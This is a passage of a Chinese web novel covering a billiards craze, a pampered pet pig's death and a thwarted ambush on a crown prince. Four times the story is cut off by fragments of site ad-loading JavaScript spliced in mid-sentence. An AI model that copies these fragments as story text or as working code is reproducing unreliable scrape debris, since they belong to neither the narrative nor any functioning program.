我开解他说,田世子脑子不灵光,也有好处,要是田世子当时“灵机一动”叫人那种方式把那个样子的他那种情形地抬出学宫,抬上马车,他这会儿怕是已经羞愤自杀了。 从宿舍到学宫大门,好长一段路呢,经过好些个宿舍和教室,还有花园和练功房呢。堂邑夫不由的脑补了一下——田世子让人五马分尸一样,抬着光溜溜四仰八叉的他,一路哭丧哀嚎着……那个样子,行走这一路,他肿胀的棒棒和滴血的砂糖橘,在光天化日之下,人尽皆赏…… 堂邑夫打了个激灵,觉得,有些事态发展,顺其自然就是最好的。我说我们这种出身的人,不能吃了几天饱饭,就学人家有尊严,把脸面看得比什么都重。你不自卑,不自贱,自强自爱,别人就不敢鄙视你,笑话你。 于是当堂邑夫神采飞扬的,在学宫每年于孟夏举办的盛大的马球赛上,成为领军人物夺冠,得了皇家赏赐时,大家已经把他的糗事忘了,或者没人再不识趣的提起了,毕竟都是读圣贤书的公子郎君,也不耻揭人短。 吃辣是会上瘾的,即便是大热天的。赢了马球,大家给堂邑夫办庆功宴,我们还是选择在花小楼的包间吃锅子,原汁原味的麻辣锅子,两头遭罪,但依旧,死性不改!!!啊哈哈哈哈…… 宫里的事皆大欢喜,趁着两位公主和几位公主伴读休沐的空档,淑贵妃和贤贵妃连同公主在上林苑宣曲宫设宴邀请我和平安,顺便一同检验太后寿宴歌舞。大型国宴的歌舞都是需要提前多次排演验视的,能够被邀请先睹为快是极大的恩典。 那日太子恰好在上林苑思贤宫会客纳贤,汉家的德才云集于此,学宫也有不少精英涉宴舌战,堂邑夫踊跃参加,我和平安从宜曲宫出来,打算去三十六苑养马所找郑清,带上他一起去思贤宫观战学习。两位公主读书读得勤奋刻苦,非常上进,一听也要去学习一番,便请淑贵妃应允,结果不允。 毕竟那是个男子集聚的地方,公主千金之尊,贸然现身实在不妥,贤贵妃考虑的周全稳妥,安慰公主说不用着急,这样的集会,按例都是要把与会人员的言辞详细记录的,誊写副本存放。回头差人借来副本给公主赏析学习就是,不必亲临。 淑贵妃见女儿面露难色不应成,就故意说得更严重,道若是横生枝节,于公主名声有失,伤了皇家体统不说,还给太子招引口舌是非,享誉折损,父皇定会怪罪,生大大的气,再不理她们。 啧啧,这招果然好使,但好使归好使,她就不能不拿孩子爹吓唬孩子吗,好不容易父慈女孝,非得胡说八道,这“横生枝节”,从你这生的吧!这个淑贵妃其他的都好,就是教育女儿上,太黔驴技穷,就这一招。 辩论异常激烈,大家畅所欲言,各抒己见,百家争鸣,百花齐放……凡涉宴者大受裨益,便是凡夫之流也都思想震动,心智勃发。这是一场意义非凡的宴会,很多年后,就算当年参加宴会的那一代人都尘归尘,土归土,也时常被后人彪炳,举赞。 韩燕熙主持记录,带着一众人手忙碌异常,远远见到我们,只点点头,冲着围帽下的平安呲牙笑了笑,就继续认真做事。 赛中休息,大家如厕更衣,或者品茗复盘,又或誊写抄录,争相传看,或者梳理观点,总结上一场的经验,准备下一场的论点论据……我们去给太子殿下行礼问安,太子叫人加了席位,招呼我们坐在他身边侧席和亲王们一道观战。 郑清在末席,听得十分认真,拿着我事先给他备好的行囊笔纸,仔细记录。我和平安也听得入神。公主读书的事,平安出了力,虽然成事不在她,但她很有成就感,说什么要是好好栽培,她能挂七国相印也说不定。 我愣了一下,道:“七国相印,哪来的七国,大汉,南唐?还有谁?鞑奴五部?你给奴人当相国,你还没出谋划策呢,就给他们支起大锅,连汤带肉吃干抹净了!你这细皮嫩肉的,那真真是治大国如烹小鲜!” 平安骂我讨厌,不服气的补充道她可以给亲王们做相国 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。我呵呵笑了,低声道:“你生得那么好看,亲王们又都各个风驰俊朗,你给他们挂相印,那挂着挂着,最后,不都挂床上了!?” 王爷们抖动着身子,憋着笑,却依旧认真听着辩论的样子。只平安恼羞死了,拍了我一巴掌,让我从此刻闭嘴不许再多说一个字,多说一个字,她就多一天不理我。 那也很好,我们都可以静心听辩论了。 集众思,广忠益,群策群力,革故鼎新,标新立异,对太子自然是极好的,诸王公列侯也都受益良多。一个人读书,终其一生能有多少收益呢?通过集体的智慧和广大的创新来冲破思想的桎梏推动个人的进步,事半功倍。 太子殿下感慨,听得诸君一席话,胜却孤读十年书。说完向诸君行了一礼,众人跪地拜谢,太子的谦卑感动众人,思贤宫一宴,传为礼贤下士之佳话。 日子如流水,太后的寿宴盛大落幕,正式上演的节目效果在多次验视整改后,好了不知多少倍,我惊叹柳花郎的艺术造诣,他说献歌献舞重点在一个“献”字上,不是凭着新奇二字,随意弹弹唱唱,转几个圈,挥几下胳膊,就上得了台面的。 台上一分钟,台下十年功,柳花郎这阵子累坏了,太后寿宴过后,他卸了差事,在家赋闲,见天儿带着平安去花小楼玩。他们弄了好些新鲜玩意,我最喜欢的就是台球,堂邑夫简直痴迷,平时在林子里骑射,但凡看见直一点儿的棍子就走不动了。 薛环那孩子和堂邑夫混得很熟,他带着一群孩子闲来无事就去属地惠王的庄园山林,收集顶好的棍子送到万园街台球园,做成台球杆儿。但凡遇到上好的棍子,必定是要先收藏起来,预留给堂邑夫的,柳花郎撞见了,想近水楼台都不行。薛环为了防止他捷足先登,后来都是直接送原木杆子去平安那里。等堂邑夫有空了,自己雕磨制杆。见都不让柳花郎见。 柳花郎就说薛环是个白眼狼,明明是他一手提拔起来的,偏偏跟堂邑夫一遛。发誓一定要靠自己找到世间最直的原木杆子,不用加工,直接可以打球的那种。 符合如此要求的粗度,硬度,和长度,还得天然雕饰,那是怎样的木材呢,真要有,那也是稀世珍宝,价值连城了。有那功夫不如多经营经营买卖多挣点钱,有钱有本事,就有一切。 真不理解,这些男人为什么对棍子这么痴迷,稍微直一点的,简直就是他们的命了,争先抢后的要得到。 后来不知怎的,台球杆儿的买卖竟异常火热起来,凡是台球园的会员,谁没几跟上好的杆子,就挺不起腰板儿似得。球打得好不好另说,球杆儿得有讲究,品类多了起来,品质也分了等次。 高级会员,那必须得园里特定包间里存放几根,每次来打球的时候,家奴背着的台球园高定的台球杆儿背包,里面必定还有几根上好的,园里一路趾高气昂的走着,抛头露面的显露,引人瞩目,称耀。 70. 养猪 台球这项运动,很快就在学宫风靡起来,学宫特设了台球馆,下学以后,大家都会去上台打上一局,也十分热衷观战。 学宫学生们也喜欢收集球杆儿,但不崇尚奢华,对球杆儿的品类质地和装饰,不上心,只要直,只要能玩儿就行。学宫风气绝好,没有人坐庄押宝,私下也没有。 但这一点台球园却发展到极致,押宝抽水收益非常乐观,大家争相坐庄,难免发生不快。以至于到最后官府出面接管,成立押宝门司,整顿市面上私立押宝组织的混乱。 柳花郎暗中支持,投资培养了几个台球队,各自又开了各自台球俱乐部,打职业赛,和押宝门司,合作频繁。 台球俱乐部很快就开到洛阳,从洛阳发散开来,遍及个大都市,发挥到极致的当属南唐,不久南唐的门阀世家,便将台球推崇到比马球还高的位置,每年青年才俊的马球会,都排在了台球会后面。 当然台球只是柳花郎“运动”事业的一部分,还有很多其他项目,但都不大火,飞盘还可以,但受众不大。保龄球也可以,却也没风靡起来,高尔夫因为占地面积太大,浪费土地资源,直接没有得到田曹的审批。轮滑也没流行起来,首要原因便是需要十分平整的路面,柳花郎在万园街弄了个轮滑园,光赛道上面,就投入了大资金,后来也只是回本儿…… 于是柳花郎便主营球类运动,就比如乒乓球,羽毛球,棒球,网球,篮球……但都不可复制台球的盛况,好多运动,据他说没那么火爆是因为受到材料的限制。 他还说他最大的愿望,是有一辆自行车,能天天骑着上下班。但也是因为材料短缺,没法制造。便总是和平安提起橡胶的事情,感叹要是研发出橡胶工艺,他的愿望不再话下,还能成为这个世界的首富。 平安没有那么大的事业心,只想着和心爱的男人组建家庭,生儿育女。正好来活儿了…… 魏宁儿家的猪生了,母猪十六个奶~头,却生了十七只小猪崽儿,多余的那只按理说要挑一只最弱小的扔了或者喂狗。可是十七只猪崽子都很健壮,宁儿哥嫂打算随意挑一只舍弃。 堂邑夫那天正好去给魏父送药,就把小猪崽儿要了下来,送给平安养着了。 我问他咋想的,让咱们如花似玉的妹妹养猪?他说先前听平安提起一句说郑清家的小猪崽儿老可爱了,想要一只没好意思的。这回儿,平安终于有属于自己的猪崽子了。 平安养猪和寻常人不一样,她把我当儿子养,把猪当我养,给猪穿衣服,洗澡,包在襁褓抱在怀里喂羊奶,还一遍一遍温柔地教猪崽子叫她妈妈。“妈妈”这个称呼是教坊司姑娘称呼老鸨的,她这是要干什么啊?把猪培养成名牌姑娘?呵,大概又是那个世界的用语习惯,不明白但尊重,这是唯一且正确的选择。 让我特别不爽的一件事,就是平安给我和猪崽子做衣服,总是用一块儿布料。但我万万没想到,后来还有更不爽的事,小猪稍大一些,可以吃饭了,平安就给我们做同样的儿童营养套餐。她一勺一勺喂猪的样子比以前喂我还上心。我严重怀疑营养套餐根本就是给猪做的,做多了,剩了浪费,就顺手盛了一点儿给我吃。果然到了后面,猪崽子食量大了,营养套餐就没我份儿了。 猪崽子在平安的照顾下,长得特别快,特别壮实,我们扒开猪后腿看猪腚,发现那是一头公猪,但长安还是当闺女养,不仅给它化妆,还给它做了好多好看的发卡发箍耳钉耳坠项链镯子等首饰,其中不乏我送她的奇珍异宝,还有好些样式特别的小裙子,和各种各样的小鞋子,身上还用白芨贴了好些珠宝,弄得那猪整日珠光宝气的。 还做了一些款式不同的假发辫,后来连猪尾巴上也总是系着蝴蝶结,每天都不重样,柳花郎说那是他们梦里那个世界,西方男人出席正式场合,穿西装燕尾服才配戴的领结,系猪屁股上,亏她想得出来。平安抱着她的猪亲了一口,说她的猪配得上。我再也不想被平安亲亲了,不知道郑清是否同感。 我嫉妒的第一个人是柳花郎,第二个嫉妒的不是人,是猪。平安给它取名叫长平。我听了想死。 我的虎头帽子不知给平安弄到哪去了,我伤心的好几天不理她,她说等天冷了给我再做个新的。于是,她管我要清宫图,我也说等她成亲的时候再给她。我们因此收回了各自的惊喜,扯平了。 偏柳花郎送了一把大提琴给平安做惊喜。平安感动的不行,哭着说,在那个世界,她收到的成人礼就是一把大提琴,可惜,她还没正式演奏,就永别了。看着平安这么伤感,我责怪柳花郎送的什么惊喜,哪壶不开提哪壶。 柳花郎也没料到这种情况,岔开话题。他说艺体不分家,他要两手抓。重新整改之前组建的乐队,亲自精心培植乐队主唱,挑选指导伴唱团,还新添了架子鼓和吉他等新式乐器,曲风独特,引人追捧,取名雄刚乐队。 这生意我还是想和台球一样,引到南边做,歌舞生意在南唐向来有很好的滋生基础,比较容易入乡随俗,而且那边钱确实比北汉厚,自上而下,崇尚享乐,纸醉金迷的,这买卖好做。 于是李大娘子牵线,南唐巨商方连生独具慧眼,独家包揽了这条财路,重金买断乐队在唐出访期权,立即办理相关手续,特邀乐队去南唐巡演。丰厚的定金随着请贴和通关文牒一起送到,这笔买卖我们欢喜接下。柳花郎便连夜创作好多曲目,给乐队开始集训。 有一首歌是《蓝色长安城》,我问他长安城为什么是蓝色的,他踟蹰了一下,说因为《蓝色土耳其》。 想起他平时的优越感,再看他彼时的神色,我便心下了然,故意略带鄙视,不经意地说:“又是梦里那个世界的?总是拾人牙慧有什么意思啊,什么时候能听你一首原创的啊。” 柳花郎果然脸红耳热,狡辩说:“已经二次创作了,不然有些词,你们根本 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 听不懂,有些话你们听了也接受不了。”还不服气的小声嘀咕什么,“你们古人不开化,听什么都伤风败俗,我改得很辛苦的。” “所以,你才更要原创啊。吃人家的拿人家的用人家的,赚我们的钱,还嫌人家的伤风败俗,嫌我们不开化,啧啧,天生仙骨非常人,果然不是人呐。”我翘着二郎腿,看他被我讽刺的脸色青一块儿,紫一块儿,就越发开心,唱着:“紧跟随着我的稚气,逃避着我的命运,忧郁蓝色长安城……你这改的一点都不押韵,都不知道你在辛苦什么?啧啧……” 柳花郎也挺记仇的,因为我的挖苦,他立马整了一首《夜长安》,找人大街小巷的唱,我走哪听哪,到哪哪唱。以至于,我后来晚上都不愿意夜游长安城了,甚至有段时间耳朵里都是:“夜长安,夜长安,你是个不夜城,华灯起,乐声响,歌舞升平,夜长安,夜长安,别有一个新天地,夜生活,都为了,衣食住行,酒不醉人人自醉,胡天胡地……”得得,又在脑子里自行唱起来了! 为此我又殴打了他一顿,我说只要这首歌自动在我耳中唱,我就殴打他。他不服,说我得了什么耳虫,跟他有什么干系。我问他什么是耳虫,怎么逮。他解释不清,却又用优越的眼神看我,接着又挨了一顿。他后来学乖了,知道看我脸色,也晓得没事就不在我眼前晃悠,尤其管住嘴,更别动歪脑筋。 平安的猪长平养的十分好,没有臭味,还整日香喷喷的,王爷公主们也都喜欢。可是它死在了雄刚乐队温柔缱绻的《黄昏》后的《寂寞沙洲》里。那是乐队出巡前最后一次在花小楼畅音阁排演。 当时平安正抱着她的宝贝猪长平,在三楼包间的遮台观看乐队演唱,那天猪长平穿上了平安给它做的最华贵的缀满珠宝的婚纱礼服,雪白圣洁,引得众人侧目。这让带着围帽抱着猪,在众人的啧啧称奇声中,径直上了三楼包间的平安,一度觉得很有面子,仿佛她家猪长平中了状元郎一般。 我在一楼侧廊开间里和朝天阙老板娘虞三娘正有说有笑吃茶点。忽听得平安一声惊叫,和猪的惨叫,猪长平不知怎的从平安怀里一头拱了下去,摔到二楼琉璃瓦上,又重重跌到一楼。当时就摔坏了内脏吐血了。 平安伤心欲绝地冲下楼来,幸好我们拦得及时,要不然她又要做那个什么人工呼吸了。猪长平蹬腿,死了,血染婚纱。我就说不能叫长平,一只猪压不住!非是不听。 平安简直要哭死,就算当柳花郎端上他亲自操刀做的绝世烤乳猪,平安吃的陶醉也依旧泪流满面……她起初是不吃的,可是到底架不住我的引诱和激将!又有谁招架得住呢? 也不知道是柳花郎的厨艺确实好,还是平安猪养得好,总之那是我们吃过的最美味的烤乳猪。我们再也没吃过比猪长平还美味的猪! 平安消沉了好一阵子,堂邑夫要给她再弄一头猪,他是有私心的,我也有同样的想法,但最终还是否决了。 71. 刺杀 我想着平安一个姑娘家家的成日里抱着头猪也不像样子——猪小时候还行,但长大了体型巨大,还太丑。 猪这东西花期实在太短,平安又擅长养猪,猪长平才吃几天饭啊,就蹭蹭长,一天一个样,肥头大耳,完全没有小时候的可爱劲儿了,偏偏平安不觉得,满心满眼的喜欢,对猪长平宠爱的不行,我真是难以想象再养几天,猪长平得长成什么样子。 猪长平短短的猪生,除了结局有些意外,没什么遗憾的,离开这个美好的世界的时候,差不多快三十多斤了吧,我妹妹抱着都要累死了,还说什么孩子太小,总不肯让它下地自己走。我分析,就是因为当时猪长平太沉了,平安抱着有些累了,猪长平又不太老实,一翻身一蹬腿,这才脱手了。 我弄了一对儿调教好的雪貂送给平安,她果然欣喜万分,从失去猪长平的痛苦中走了出来,依旧是把两个雪貂当孩子那般养着。每天给雪貂梳洗打扮喂饭……把猪长平的衣物正好改成两套,雪貂穿着非常合身……得,我又多了两个同胞。不过这次,没给它们取名字。在平安心里,猪长平始终是无可替代的…… 一天刘景叫我们去汤泉宫解暑,平安带着那对儿雪貂一起泡汤泉,给公主介绍引见她的新孩子。汤泉宫的水系是联通的,雪貂就各个池子撒欢了蹿。众人都喜欢这对儿雪貂,喂它们吃东西,它们欣然接受,却唯独不吃韩燕熙喂的食物,这让韩燕熙很没面子,怀念起对他十分友善的猪长平来。扬言孩子不听话就得教育,要抓住这两只雪貂亲自调教一番,于是在汤泉池里翻涌起来…… 平安在竹林那边一招呼,雪貂就从水下顺着暗流蹿回去了。平安站在岸上,往地上放一块儿浴巾,它们自己出水,在上面翻来滚去,擦干皮毛。 平安和公主说说笑笑着给它们处理毛发,平安喜欢它们机灵,但也总觉得它们太活泼调皮,总不如她的猪长平来的老实听话,可她真心不太愿意养猪了,她总也放不下猪长平,想念它的音容笑貌,也思念它的味道。 我陪着刘景他们泡了一会儿,上了岸,公主们都收拾妥当,便叫我进了内殿。我看着貂妹肚子有些鼓鼓的,貂兄也不像以前那样没轻没重的逗弄貂妹,反而对貂妹舔舐爱抚,搂着小憩,照顾又加。 我说貂妹揣上崽子了。平安说没有吧,就是蜜月期,两个貂儿感情好,貂妹幸福肥了。 我不跟她挣,只道:“在貂儿眼里你就是它们的主,是它们的神明,一旦貂儿生下孩子,就会带到你面前,祈求得到你的认可和喜爱,到时候你一定每一个孩子都抚摸到,狠狠地摸,把自己的气味尽可能多的留在每一个孩子身上,这样貂儿才会努力抚养幼崽儿,不然它们会以为你不喜欢不认可,会把孩子们都咬死的。” “啊!?”平安和公主们大惊,不禁叫出声来,平安抱着貂妹摸了摸肚子,后怕道:“还有这种习性,幸亏你给我说了,嗯……肚子确是鼓鼓的,别是真怀孕了吧,什么时候的事儿啊。” “这还不快吗?”说着我扮成雪貂,轻轻揪着貂兄的后脖颈子,假装它是自己刚生产下的貂儿,用平安学蜡笔小新说话时的声音和样子,对着平安道:“主上主上,这是臣妾给你生的龙子,你喜不喜欢喜不喜欢?快摸摸快摸摸!” 平安笑着,赶紧接过去,对貂兄又抱又亲,摸了个遍。我道,对就是这样子。 午膳后,刘景和太子提议打台球,第一局,就是他们父子对战,台球桌安置好,公主,平安负责摆球,两只貂儿帮着收球,推球。 系着襻膊的刘景和太子,持着长杆,简直帅呆了。我都没怎么关注比赛,就光顾着看他俩了。啧啧,那姿势那动作,那专注的神情和果敢的进攻,配上台球撞击的声音,和众人的叫好声……我简直沉沦! 晚上我们打扑克,刘景和太子打配合,父子大杀四方…… 太后六十寿宴以后,诸位亲王们就要离京赴国了,只齐王得了特许,在京养病。梁王可以等过了中秋节后再赴国,不过我想,那时候,他大概又想着要过了年再离京了。 告别宴后,还有一场送行宴,是亲王离京前最后一次相聚,之后他们就要陆续启程了。宴席过半,太后就带着梁王离开,刘景和儿子们热络一阵儿,叫上庆王逍遥王离席,哥儿仨独聚,微服出行,乘坐画舫游湖。 画舫是逍遥王准备的,李大娘子带着两个楼里拔尖儿的姑娘早就恭候多时。刘景远远看见李大娘子,便转头和庆王逍遥王对视,哥儿仨会心一笑。 夏日,天渐渐长了,山里的风爽朗的很,午后太子兄弟们最后一次相聚在上林苑骑马游猎。原本也只是信马由鞭,闲谈嬉笑,毕竟离别在即,这样的团聚下一次不知道是什么时候了。谁知却忽然看见一只白鹿,那白鹿通体无暇,大家提议活捉,敬献父皇,权当是他们这些做儿子的,离京前的一份儿孝心,而且是与太子合力而为,意义更加不同。惠王也热情加入。 白鹿矫健十足,像山林的精灵一般,并不是那么容易可以捕捉的,但越是困难越是难得,亲王们越是觉得可以彰显诚意十足的孝心。 行至一处山道,一条大河拦路,白鹿渡过大河,上了岸一个闪现,进了峡谷,却不时在谷口踌躇,仿佛在看我们跟上了没,更像是在挑逗我们。大河上横亘着一座歪歪扭扭的木板桥,大队人马,开始准备过桥渡河,我看见远处鸟儿骤然成群飞起,心下警觉,示意众人停下来,和堂邑夫上前视察。太子不明所以,却也不着急询问,端庄坦然,拉缰立马,和兄弟们说笑,等我回禀。 我看了一堂邑夫,道:“这地方,你看着如何?” “丘陵和平原的交汇处,草木茂盛,有山崖峭壁,有山谷隘口,密林,我看着,心血澎湃,要是在这里做任务,那得多过瘾啊。” 我呵呵一笑,果然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 堂邑夫是和我心有灵犀的,我扬了扬下巴,堂邑夫点点头,我从马上飞身跃起丈高,环视四周,落下来借着堂邑夫飞身纵起给的力,第二次飞得更高,足足五丈,足尖轻点飞鸟背,又往上跃了一丈五,将方圆几里尽数收入眼底。 自古埋伏作战,地形最是重要,天牢:三面环阻,易进难出,没有退路。适合网开一面。天井:四周被高地包围,没有出入口,攻守皆不易。适合同归于尽。天隙:两山之间狭窄谷地,天然陷阱,不易行军,易中埋伏。适合以少胜多。天陷:地势低洼,泥泞易陷,适合绝杀团灭。绝水:背水一战。迎陵:易守难攻。迎众树:出其不意。 我们面前是一条河(绝水),左边是一片茂密的丛林(迎众树),右面是一处丘陵(迎陵),往前是天隙,通过天隙是天牢,天牢网开一面的“生路”是天陷,若是侥幸逃出天陷,紧接着就是天井。啧啧啧,这是哪个“高手”选中的地方?!古往今来,七绝占一绝,便可十拿九稳,好家伙,他这七绝都凑齐了。怪不得计划提前,这是地利占尽,心潮澎湃了。都等不及亲王离京,再下手了,膨胀到想要一锅端啊。 这风格怎么这么像我啊,但对方却十分贪心,不够淡然,看着成竹在胸,到底有些愚蠢。给我的感觉就是,狗肚子里存不住二两油,有点东西巴不得全用上,显摆自己有多优秀,沉不住气,稳不住心,太急功近利,漏了怯了。 呵呵,能把鸡蛋立起来,是你的本事,可是经不住敲打,不够稳,这便是我的转机,既然有懈可击,那必一击致命,这更是我的风格。 我刚接到消息的时候还一惊,心中大骂,这帮江湖人还真是不讲诚信,说好了七月半动手,这家伙好,连明天亲王出城都等不了了,居然今儿个就动手。眼下都解释通了。是谁说要游马涉猎来着,又是谁有意无意把一群人引到这里来的?那只出现的恰是时候的白鹿,他们是哪里弄来的,驯鹿的还真是个人才。 下落的过程中,堂邑夫又按之前旧例飞身相迎,接了我几下,待我落地,我便到太子身边,耳语几句,请他下令就在此处落脚休息片刻,和亲王们品茗闲聊。于是我们便在岸边,安营扎寨,燊火起灶…… 李大公子骑马朝北去了,豆如意庄助也上了马嘻嘻哈哈地说要去采买酒水,其实是带着太子口谕,去平昭公主府,让驸马赵桓安排南军心腹将领立即坐镇军中当值,轮班替岗者立即回营。然后想尽一切办法,示弱示好,拉拢投靠,威逼利诱,坑蒙拐骗也好,总之用尽各种理由,邀请其他异阵将领到花小楼宴饮,不论眼下是否饭点,都要将人请到留住。凡三请不到者,派人盯住,随时留意动向,可先斩后奏。 南军中,凡有调度,请心腹将领们不论拖延还是断然抗命,一定务必按兵不动,必要时可以武力相搏,甚至哗变。接到命令的心腹将领,内心都十分兴奋振奋,却面不改色心不跳,坦之若然。 72. 七绝 一切安顿妥当,我哼着小曲儿,翘着二郎腿,枕着齐王的大腿,吊着狗尾巴草,一边剔牙,一边吃着惠王喂的果子,躺在太子营帐后面的小坡上。 七绝就在眼前,我们偏偏不入。堂邑夫坏坏地笑着,幸灾乐祸,说那人得多膈应啊。我说膈应的就是他,咱们凭什么以身涉险,成就他的名声功绩,押上性命,就为了让他痛快,这一战要是让他赢了,那还了得,他得天天飞着走。 嘿嘿,可想而知,那人这会儿得多难受啊,啊哈哈哈哈……设身处地,换位思考,要是这局是我按的,临门一脚,人家就是不上道了,我得多堵得慌,牙都能给咬碎了。这跟男人裤子都脱了,女人唰的一下来好事了,有啥区别。 我坐起身,对堂邑夫道:“天隙往后几个局,可遇不可求,能凑一块也是千载难逢,别浪费了,你去鼓捣鼓捣,捣个乱,让他们自己享用了吧。” 风声瑟瑟,砂石飞走,远处山鸟走兽不太安宁的样子…… 堂邑夫做大事儿,随我,向来是雷厉风行,但却很稳妥。我拉一泼屎的功夫,他就把传信回来的鸽子一抛,看了看信笺,并迅速用内力化成齑粉。 我提好了裤子,从草丛里出来,他飞身过来,笑呵呵的相迎,一边跟着我上河边洗手,一边在我耳边低声道:“遇事先把水搅浑,那边见咱们迟迟不入包围圈儿,果然急了,骚动起来,咱们的人三言两语,那边就浑得和稀泥汤子一般,破口对骂,刀兵相对,剑拔弩张的,弦儿崩的那叫一个蓄势待发,紧要关头,咱们的人不小心放了个屁,一个小喽啰吓得掉了兵器,砸了旁人的脚,那人吃痛,不慎扎了前人的腚,于是便打起来,哦呦,啧啧啧,自己人打自己人那叫一个恨,刀子都往最疼最要命的地方上戳。伤亡怕是不小。天陷天井已经废了。” 堂邑夫嘲笑,说那些人不过就是一个屁就能搞定的事儿。我让他不要掉以轻心。又嘱托他,以后话忒多的门人就不要派去做细作了,那种情形还能抽出空来写这么详细的汇报,我也是服了。堂邑夫还护起短来,说什么这是艺高人胆大,果然谁调教出来谁疼,谁调教出来的随谁! 不过我们鬼门发送汇报都使用密文,也存在堂邑夫过分解读的情况,毕竟那份汇报只有堂邑夫看了。 小虾米们打着打着闯进了留给我们的天陷天井,关起门来一番打斗,利用天险互相伤害,必然破坏了天陷天井的自然屏障,导致这两个地方失去作用了,那么,这会儿剩余的杀手应该是集中在天牢,对着天隙犹豫煎熬呢,出还不是不出,这是一个问题。 “嗯,乌合之众,因争夺名利而聚,怕是早就互相提防着,毫无信任可言,聚集了这么久,嫌隙怨怼,仇恨丛生,碍于任务,都忍的相当辛苦了。大敌当前,刺杀的毕竟是太子,任务又重,压力肯定大啊,哪里经得起挑拨?三言两语足够了。能战前自我损耗的,左不过都是些小虾米,怎配咱们出手,让他们自行消化消化,再让咱们的人清理干净吧,嗯,再等等,大鱼都在后头。小虾米虽然不重要,但这一场混乱,也攻心,大鱼也快按捺不住了,再等等……” 说完,我们走回小山坡席地而坐,我看着齐王,道:“你不是好奇那只南唐夜行鸽到底携带的什么秘密吗,马上就大白天下了。”说完我咧嘴一笑,起身扶着他的肩头,严肃认真地嘱托道:“让我分心就是给我捣乱,到时候,你要紧紧跟在太子身后,我定能保你周全。”又握着身旁的惠王的大手,道:“你也是。” 我看着远处,风吹草动,丛林摇曳,不禁呵呵一乐,小虾米一内讧,他们就立马舍弃了这些拖后腿的,没了累赘掣肘,反而利索。看来是犹豫过了,煎熬完了,他们的行动果然利索,轻装上阵,主动出击——大鱼来了。 李大公子的北军怕是赶不及救驾了。我虽然是玄止境,但也只有七成功力,接下来怕是一场血战。我叫来韩燕熙,李椒,赵不虞等高手,一边交代情况,一边排兵布阵……其实也没什么好排兵布阵的,就是叫他们把重点都放到保护殿下身上,其他的让我来,千万不要自作主张,添乱…… 韩燕熙李椒,他们早就觉察出异常,心下已有准备,只赵不虞傻傻问我为什么不安排太子殿下离开。我呵呵一笑,哼,走是走不了的,那个早就埋伏好的包围圈,我们不进去,能避开,就是幸运了,若是临门一脚的时候,反过头来撅着屁股要跑,落荒的样子,还有什么形象可言,实在有损太子和大汉的颜面,也丢了我这玄止境和你们这些臣子的脸面。 用实际行动,明晃晃地告诉人家咱们识破了,必定更早引来袭击,而且还是明目张胆,誓死追击,鱼死网破,不达目的不罢休的那种。 杀手可不讲究穷寇莫追,我们讲究的是目标人物一定要死。倘若全军覆没,目标人物还活着,我们认了,死而瞑目,但只要我们还有一口气再,刺杀行动就不会停。 所以有些事,被盯上了,躲是躲不掉的,不怕贼偷,就怕贼惦记,赶紧把他们解决了,给我添点功绩,我也好继续干大事。今天是送人上路的黄道吉日,我哪能让这些人,活到明天?我坚定地迎头而上,是一定要把这事儿今日毕了的。能躲我都不躲。安排太子先离开?开什么玩笑,能走也得给我老实待在现场,一是好好做他的饵,二是我要大展身手,他得在一边儿给我好好看着。 眼下,我们就这样,以不变应万变,按部就班,等敌人自乱阵脚,前来送死……攻心为上,这会儿那些人不定多忐忑呢,做贼的哪有不心虚的。怕我们提前识破,他们得赶紧出击,不然错失良机,又怕我们没识破,他们主动出击,反而误了良机。恨那些安排在埋伏圈里做炮灰的小虾米内乱互杀,担心是出了内鬼,挑唆而致。又担心自责是自己安排有失,让这么一群乌合之众,打头阵,一上来就乱了计划。有些人连炮灰都做不称职,就会裹乱。 我以为大鱼就要来了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却忽然没了动静,啧,毕竟是刺杀太子,国之根本,他们还真是小心谨慎。 我不禁笑了笑,呵呵,是有够犹豫的,居然还不现身。既然你不收网,那我来吧,再不收网,就要耽误晚饭了,终于我守株待兔,守得都有些等急了,打算诱敌深入,我让堂邑夫前去叫“内鬼”发送暗号,引君入瓮,结果林子的鸟儿起起落落,搞得我激动的心情,跟着上上下下了几次,眼瞅着烤全羊就要好了…… 看来对方还没蠢笨到底,已经感觉到“内鬼”是我们的人了,哼哼,这会儿定然醒悟过来——计划早就全都暴露给我们了,跟光天日下,在我们眼前光着眼子晒腚,有啥区别,当下一定是慌了。哦呵呵……他们只有一条狗急跳墙的路可以走啦!这群人不会放弃的,太子近在眼前,狼从来不会松开到嘴的肉。 李大公子赶不及救驾,也能及时按照我提前跟他布置好的第二套计划,带军行成包围圈,封成铁桶一般,他应该不会掉链子,别让我的这些“功名利禄”跑了,晚一点也无妨。只愿他做的“网兜”越细越好,最好是绝户网,我可是很贪心的,小鱼小虾在我眼里也是肉。 哼,我得赶紧动手,我在等李大公子的援军,他们这是应该也启动了第二套计划,等南军的援军。 南军有我们的人,但我们调不动南军,能被调动出来的南军,大有来头,里面的讲究,一时半会儿就说不清了。 就看赵桓的手段了,他从来不是个银样镴枪头。但凡事都有个万一,倘若南军真的被调出来,那么南军的援军一到,必定袖手旁观,情形“好”的话作壁上观,末了下来给太子亲王们收尸,局势“不好”的话,他们下来搅局镇压,绝不叫我们冲出重围,没良心的胆子再肥一点儿,跟着一起捅刀子也不是不可能,把我们全部灭口,他们南军最后顶多就是个救驾不利,然后千方百计胡诌八扯的牵连到赵桓,把他祭出来了事。刘景那个身子怎会承受得住这么大的打击?反正最后,大汉的天是变了。 北军太远了,李大公子那边,嗯,我眼下实在着急动手,且不指望了,呵呵,就算他个锦上添花吧。我对着前方,吼了一声,一阵气浪发散出去,四周林子里的鸟儿嚯的一下四散而飞,连山中走兽都慌乱逃窜…… 堂邑夫戴着金面具,手持长枪,随着我的一声吼叫,拍马踏桥而去,他最喜欢打头阵,在河对岸,横刀立马,一夫当关万夫莫开的样子,准备迎敌,随着我的内力,他衣袂飘飘,简直帅呆了。 